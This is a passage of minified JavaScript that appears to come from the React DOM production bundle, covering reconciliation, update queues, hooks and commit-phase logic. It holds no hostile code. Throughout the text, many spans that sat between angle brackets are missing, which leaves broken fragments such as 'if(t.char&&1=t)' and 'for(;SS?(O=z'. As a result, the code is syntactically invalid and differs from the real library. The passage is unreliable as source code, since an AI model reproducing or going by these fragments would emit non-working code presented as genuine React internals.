null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=ng(n)}}function e5(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?e5(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function t5(){for(var e=window,t=Pc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=Pc(e.document)}return t}function Yh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function YC(e){var t=t5(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&e5(n.ownerDocument.documentElement,n)){if(r!==null&&Yh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,s=Math.min(r.start,i);r=r.end===void 0?s:Math.min(r.end,i),!e.extend&&s>r&&(i=r,r=s,s=i),i=rg(n,s);var o=rg(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),s>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ta=null,tp=null,co=null,np=!1;function ig(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;np||Ta==null||Ta!==Pc(r)||(r=Ta,"selectionStart"in r&&Yh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),co&&jo(co,r)||(co=r,r=Lc(tp,"onSelect"),0Ia||(e.current=lp[Ia],lp[Ia]=null,Ia--)}function Be(e,t){Ia++,lp[Ia]=e.current,e.current=t}var ki={},$t=Ei(ki),Qt=Ei(!1),ra=ki;function ts(e,t){var n=e.type.contextTypes;if(!n)return ki;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},s;for(s in n)i[s]=t[s];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Jt(e){return e=e.childContextTypes,e!=null}function Dc(){Ue(Qt),Ue($t)}function dg(e,t,n){if($t.current!==ki)throw Error(ee(168));Be($t,t),Be(Qt,n)}function u5(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(ee(108,US(e)||"Unknown",i));return Ze({},n,r)}function Rc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ki,ra=$t.current,Be($t,e),Be(Qt,Qt.current),!0}function fg(e,t,n){var r=e.stateNode;if(!r)throw Error(ee(169));n?(e=u5(e,t,ra),r.__reactInternalMemoizedMergedChildContext=e,Ue(Qt),Ue($t),Be($t,e)):Ue(Qt),Be(Qt,n)}var jr=null,ed=!1,Kf=!1;function d5(e){jr===null?jr=[e]:jr.push(e)}function sP(e){ed=!0,d5(e)}function _i(){if(!Kf&&jr!==null){Kf=!0;var e=0,t=Le;try{var n=jr;for(Le=1;e>=o,i-=o,kr=1<<32-Kn(t)+i|n<S?(O=z,z=null):O=z.sibling;var A=p(v,z,w[S],j);if(A===null){z===null&&(z=O);break}e&&z&&A.alternate===null&&t(v,z),b=s(A,b,S),k===null?N=A:k.sibling=A,k=A,z=O}if(S===w.length)return n(v,z),Ke&&$i(v,S),N;if(z===null){for(;SS?(O=z,z=null):O=z.sibling;var T=p(v,z,A.value,j);if(T===null){z===null&&(z=O);break}e&&z&&T.alternate===null&&t(v,z),b=s(T,b,S),k===null?N=T:k.sibling=T,k=T,z=O}if(A.done)return n(v,z),Ke&&$i(v,S),N;if(z===null){for(;!A.done;S++,A=w.next())A=f(v,A.value,j),A!==null&&(b=s(A,b,S),k===null?N=A:k.sibling=A,k=A);return Ke&&$i(v,S),N}for(z=r(v,z);!A.done;S++,A=w.next())A=h(z,v,S,A.value,j),A!==null&&(e&&A.alternate!==null&&z.delete(A.key===null?S:A.key),b=s(A,b,S),k===null?N=A:k.sibling=A,k=A);return e&&z.forEach(function(P){return t(v,P)}),Ke&&$i(v,S),N}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===Aa&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case zl:e:{for(var N=w.key,k=b;k!==null;){if(k.key===N){if(N=w.type,N===Aa){if(k.tag===7){n(v,k.sibling),b=i(k,w.props.children),b.return=v,v=b;break e}}else if(k.elementType===N||typeof N=="object"&&N!==null&&N.$$typeof===ti&&hg(N)===k.type){n(v,k.sibling),b=i(k,w.props),b.ref=Ds(v,k,w),b.return=v,v=b;break e}n(v,k);break}else t(v,k);k=k.sibling}w.type===Aa?(b=Qi(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=bc(w.type,w.key,w.props,null,v.mode,j),j.ref=Ds(v,b,w),j.return=v,v=j)}return o(v);case _a:e:{for(k=w.key;b!==null;){if(b.key===k)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=em(w,v.mode,j),b.return=v,v=b}return o(v);case ti:return k=w._init,y(v,b,k(w._payload),j)}if(Js(w))return x(v,b,w,j);if(Os(w))return g(v,b,w,j);Il(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Jf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var rs=h5(!0),x5=h5(!1),Fc=Ei(null),Wc=null,$a=null,Qh=null;function Jh(){Qh=$a=Wc=null}function ex(e){var t=Fc.current;Ue(Fc),e._currentValue=t}function dp(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function qa(e,t){Wc=e,Qh=$a=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Yt=!0),e.firstContext=null)}function _n(e){var t=e._currentValue;if(Qh!==e)if(e={context:e,memoizedValue:t,next:null},$a===null){if(Wc===null)throw Error(ee(308));$a=e,Wc.dependencies={lanes:0,firstContext:e}}else $a=$a.next=e;return t}var Ki=null;function tx(e){Ki===null?Ki=[e]:Ki.push(e)}function v5(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,tx(t)):(n.next=i.next,i.next=n),t.interleaved=n,Or(e,r)}function Or(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var ni=!1;function nx(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function g5(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function Pr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function hi(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Pe&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Or(e,n)}return i=r.interleaved,i===null?(t.next=t,tx(r)):(t.next=i.next,i.next=t),r.interleaved=t,Or(e,n)}function pc(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Fh(e,n)}}function xg(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,s=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};s===null?i=s=o:s=s.next=o,n=n.next}while(n!==null);s===null?i=s=t:s=s.next=t}else i=s=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:s,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Uc(e,t,n,r){var i=e.updateQueue;ni=!1;var s=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?s=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(s!==null){var f=i.baseState;o=0,d=u=c=null,l=s;do{var p=l.lane,h=l.eventTime;if((r&p)===p){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(p=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,p);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,p=typeof x=="function"?x.call(h,f,p):x,p==null)break e;f=Ze({},f,p);break e;case 2:ni=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,p=i.effects,p===null?i.effects=[l]:p.push(l))}else h={eventTime:h,lane:p,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=p;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;p=l,l=p.next,p.next=null,i.lastBaseUpdate=p,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else s===null&&(i.shared.lanes=0);sa|=o,e.lanes=o,e.memoizedState=f}}function vg(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Yf.transition;Yf.transition={};try{e(!1),t()}finally{Le=n,Yf.transition=r}}function L5(){return An().memoizedState}function uP(e,t,n){var r=vi(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},I5(e))D5(t,n);else if(n=v5(e,t,n,r),n!==null){var i=Wt();Gn(n,e,r,i),R5(n,t,r)}}function dP(e,t,n){var r=vi(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(I5(e))D5(t,i);else{var s=e.alternate;if(e.lanes===0&&(s===null||s.lanes===0)&&(s=t.lastRenderedReducer,s!==null))try{var o=t.lastRenderedState,l=s(o,n);if(i.hasEagerState=!0,i.eagerState=l,qn(l,o)){var c=t.interleaved;c===null?(i.next=i,tx(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=v5(e,t,i,r),n!==null&&(i=Wt(),Gn(n,e,r,i),R5(n,t,r))}}function I5(e){var t=e.alternate;return e===qe||t!==null&&t===qe}function D5(e,t){uo=Hc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function R5(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Fh(e,n)}}var Kc={readContext:_n,useCallback:It,useContext:It,useEffect:It,useImperativeHandle:It,useInsertionEffect:It,useLayoutEffect:It,useMemo:It,useReducer:It,useRef:It,useState:It,useDebugValue:It,useDeferredValue:It,useTransition:It,useMutableSource:It,useSyncExternalStore:It,useId:It,unstable_isNewReconciler:!1},fP={readContext:_n,useCallback:function(e,t){return ar().memoizedState=[e,t===void 0?null:t],e},useContext:_n,useEffect:yg,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,xc(4194308,4,_5.bind(null,t,e),n)},useLayoutEffect:function(e,t){return xc(4194308,4,e,t)},useInsertionEffect:function(e,t){return xc(4,2,e,t)},useMemo:function(e,t){var n=ar();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=ar();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=uP.bind(null,qe,e),[r.memoizedState,e]},useRef:function(e){var t=ar();return e={current:e},t.memoizedState=e},useState:gg,useDebugValue:ux,useDeferredValue:function(e){return ar().memoizedState=e},useTransition:function(){var e=gg(!1),t=e[0];return e=cP.bind(null,e[1]),ar().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=qe,i=ar();if(Ke){if(n===void 0)throw Error(ee(407));n=n()}else{if(n=t(),Nt===null)throw Error(ee(349));aa&30||j5(r,t,n)}i.memoizedState=n;var s={value:n,getSnapshot:t};return i.queue=s,yg(k5.bind(null,r,s,e),[e]),r.flags|=2048,_o(9,N5.bind(null,r,s,n,t),void 0,null),n},useId:function(){var e=ar(),t=Nt.identifierPrefix;if(Ke){var n=zr,r=kr;n=(r&~(1<<32-Kn(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=Po++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[sr]=t,e[zo]=r,Y5(e,t,!1,!1),t.stateNode=e;e:{switch(o=Gm(n,r),n){case"dialog":Fe("cancel",e),Fe("close",e),i=r;break;case"iframe":case"object":case"embed":Fe("load",e),i=r;break;case"video":case"audio":for(i=0;iss&&(t.flags|=128,r=!0,Rs(s,!1),t.lanes=4194304)}else{if(!r)if(e=Vc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Rs(s,!0),s.tail===null&&s.tailMode==="hidden"&&!o.alternate&&!Ke)return Dt(t),null}else 2*at()-s.renderingStartTime>ss&&n!==1073741824&&(t.flags|=128,r=!0,Rs(s,!1),t.lanes=4194304);s.isBackwards?(o.sibling=t.child,t.child=o):(n=s.last,n!==null?n.sibling=o:t.child=o,s.last=o)}return s.tail!==null?(t=s.tail,s.rendering=t,s.tail=t.sibling,s.renderingStartTime=at(),t.sibling=null,n=Ye.current,Be(Ye,r?n&1|2:n&1),t):(Dt(t),null);case 22:case 23:return xx(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?on&1073741824&&(Dt(t),t.subtreeFlags&6&&(t.flags|=8192)):Dt(t),null;case 24:return null;case 25:return null}throw Error(ee(156,t.tag))}function bP(e,t){switch(Xh(t),t.tag){case 1:return Jt(t.type)&&Dc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return is(),Ue(Qt),Ue($t),ax(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return ix(t),null;case 13:if(Ue(Ye),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(ee(340));ns()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Ue(Ye),null;case 4:return is(),null;case 10:return ex(t.type._context),null;case 22:case 23:return xx(),null;case 24:return null;default:return null}}var Rl=!1,Rt=!1,wP=typeof WeakSet=="function"?WeakSet:Set,me=null;function Ba(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){nt(e,t,r)}else n.current=null}function bp(e,t,n){try{n()}catch(r){nt(e,t,r)}}var _g=!1;function jP(e,t){if(rp=Tc,e=t5(),Yh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,s=r.focusNode;r=r.focusOffset;try{n.nodeType,s.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,p=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==s||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)p=f,f=h;for(;;){if(f===e)break t;if(p===n&&++u===i&&(l=o),p===s&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=p,p=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(ip={focusedElem:e,selectionRange:n},Tc=!1,me=t;me!==null;)if(t=me,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,me=e;else for(;me!==null;){t=me;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Bn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(ee(163))}}catch(j){nt(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,me=e;break}me=t.return}return x=_g,_g=!1,x}function fo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var s=i.destroy;i.destroy=void 0,s!==void 0&&bp(t,n,s)}i=i.next}while(i!==r)}}function rd(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function wp(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function Z5(e){var t=e.alternate;t!==null&&(e.alternate=null,Z5(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[sr],delete t[zo],delete t[op],delete t[iP],delete t[aP])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function Q5(e){return e.tag===5||e.tag===3||e.tag===4}function Ag(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||Q5(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function jp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=Ic));else if(r!==4&&(e=e.child,e!==null))for(jp(e,t,n),e=e.sibling;e!==null;)jp(e,t,n),e=e.sibling}function Np(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(Np(e,t,n),e=e.sibling;e!==null;)Np(e,t,n),e=e.sibling}var Et=null,Fn=!1;function ei(e,t,n){for(n=n.child;n!==null;)J5(e,t,n),n=n.sibling}function J5(e,t,n){if(ur&&typeof ur.onCommitFiberUnmount=="function")try{ur.onCommitFiberUnmount(qu,n)}catch{}switch(n.tag){case 5:Rt||Ba(n,t);case 6:var r=Et,i=Fn;Et=null,ei(e,t,n),Et=r,Fn=i,Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):Et.removeChild(n.stateNode));break;case 18:Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?Hf(e.parentNode,n):e.nodeType===1&&Hf(e,n),bo(e)):Hf(Et,n.stateNode));break;case 4:r=Et,i=Fn,Et=n.stateNode.containerInfo,Fn=!0,ei(e,t,n),Et=r,Fn=i;break;case 0:case 11:case 14:case 15:if(!Rt&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var s=i,o=s.destroy;s=s.tag,o!==void 0&&(s&2||s&4)&&bp(n,t,o),i=i.next}while(i!==r)}ei(e,t,n);break;case 1:if(!Rt&&(Ba(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){nt(n,t,l)}ei(e,t,n);break;case 21:ei(e,t,n);break;case 22:n.mode&1?(Rt=(r=Rt)||n.memoizedState!==null,ei(e,t,n),Rt=r):ei(e,t,n);break;default:ei(e,t,n)}}function Og(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new wP),t.forEach(function(r){var i=AP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function In(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~s}if(r=i,r=at()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*kP(r/1960))-r,10e?16:e,li===null)var r=!1;else{if(e=li,li=null,qc=0,Pe&6)throw Error(ee(331));var i=Pe;for(Pe|=4,me=e.current;me!==null;){var s=me,o=s.child;if(me.flags&16){var l=s.deletions;if(l!==null){for(var c=0;cat()-px?Zi(e,0):mx|=n),en(e,t)}function oj(e,t){t===0&&(e.mode&1?(t=El,El<<=1,!(El&130023424)&&(El=4194304)):t=1);var n=Wt();e=Or(e,t),e!==null&&(el(e,t,n),en(e,n))}function _P(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),oj(e,n)}function AP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(ee(314))}r!==null&&r.delete(t),oj(e,n)}var lj;lj=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Qt.current)Yt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Yt=!1,gP(e,t,n);Yt=!!(e.flags&131072)}else Yt=!1,Ke&&t.flags&1048576&&f5(t,Bc,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;vc(e,t),e=t.pendingProps;var i=ts(t,$t.current);qa(t,n),i=ox(null,t,r,e,i,n);var s=lx();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Jt(r)?(s=!0,Rc(t)):s=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,nx(t),i.updater=nd,t.stateNode=i,i._reactInternals=t,mp(t,r,e,n),t=xp(null,t,r,!0,s,n)):(t.tag=0,Ke&&s&&qh(t),Bt(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(vc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=TP(r),e=Bn(r,e),i){case 0:t=hp(null,t,r,e,n);break e;case 1:t=Cg(null,t,r,e,n);break e;case 11:t=zg(null,t,r,e,n);break e;case 14:t=Sg(null,t,r,Bn(r.type,e),n);break e}throw Error(ee(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),hp(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),Cg(e,t,r,i,n);case 3:e:{if(H5(t),e===null)throw Error(ee(387));r=t.pendingProps,s=t.memoizedState,i=s.element,g5(e,t),Uc(t,r,null,n);var o=t.memoizedState;if(r=o.element,s.isDehydrated)if(s={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=s,t.memoizedState=s,t.flags&256){i=as(Error(ee(423)),t),t=Pg(e,t,r,n,i);break e}else if(r!==i){i=as(Error(ee(424)),t),t=Pg(e,t,r,n,i);break e}else for(cn=pi(t.stateNode.containerInfo.firstChild),dn=t,Ke=!0,Wn=null,n=x5(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(ns(),r===i){t=Tr(e,t,n);break e}Bt(e,t,r,n)}t=t.child}return t;case 5:return y5(t),e===null&&up(t),r=t.type,i=t.pendingProps,s=e!==null?e.memoizedProps:null,o=i.children,ap(r,i)?o=null:s!==null&&ap(r,s)&&(t.flags|=32),V5(e,t),Bt(e,t,o,n),t.child;case 6:return e===null&&up(t),null;case 13:return K5(e,t,n);case 4:return rx(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=rs(t,null,r,n):Bt(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),zg(e,t,r,i,n);case 7:return Bt(e,t,t.pendingProps,n),t.child;case 8:return Bt(e,t,t.pendingProps.children,n),t.child;case 12:return Bt(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,s=t.memoizedProps,o=i.value,Be(Fc,r._currentValue),r._currentValue=o,s!==null)if(qn(s.value,o)){if(s.children===i.children&&!Qt.current){t=Tr(e,t,n);break e}}else for(s=t.child,s!==null&&(s.return=t);s!==null;){var l=s.dependencies;if(l!==null){o=s.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(s.tag===1){c=Pr(-1,n&-n),c.tag=2;var u=s.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}s.lanes|=n,c=s.alternate,c!==null&&(c.lanes|=n),dp(s.return,n,t),l.lanes|=n;break}c=c.next}}else if(s.tag===10)o=s.type===t.type?null:s.child;else if(s.tag===18){if(o=s.return,o===null)throw Error(ee(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),dp(o,n,t),o=s.sibling}else o=s.child;if(o!==null)o.return=s;else for(o=s;o!==null;){if(o===t){o=null;break}if(s=o.sibling,s!==null){s.return=o.return,o=s;break}o=o.return}s=o}Bt(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,qa(t,n),i=_n(i),r=r(i),t.flags|=1,Bt(e,t,r,n),t.child;case 14:return r=t.type,i=Bn(r,t.pendingProps),i=Bn(r.type,i),Sg(e,t,r,i,n);case 15:return W5(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),vc(e,t),t.tag=1,Jt(r)?(e=!0,Rc(t)):e=!1,qa(t,n),$5(t,r,i),mp(t,r,i,n),xp(null,t,r,!0,e,n);case 19:return G5(e,t,n);case 22:return U5(e,t,n)}throw Error(ee(156,t.tag))};function cj(e,t){return Iw(e,t)}function OP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Cn(e,t,n,r){return new OP(e,t,n,r)}function gx(e){return e=e.prototype,!(!e||!e.isReactComponent)}function TP(e){if(typeof e=="function")return gx(e)?1:0;if(e!=null){if(e=e.$$typeof,e===Dh)return 11;if(e===Rh)return 14}return 2}function gi(e,t){var n=e.alternate;return n===null?(n=Cn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function bc(e,t,n,r,i,s){var o=2;if(r=e,typeof e=="function")gx(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case Aa:return Qi(n.children,i,s,t);case Ih:o=8,i|=8;break;case Dm:return e=Cn(12,n,t,i|2),e.elementType=Dm,e.lanes=s,e;case Rm:return e=Cn(13,n,t,i),e.elementType=Rm,e.lanes=s,e;case $m:return 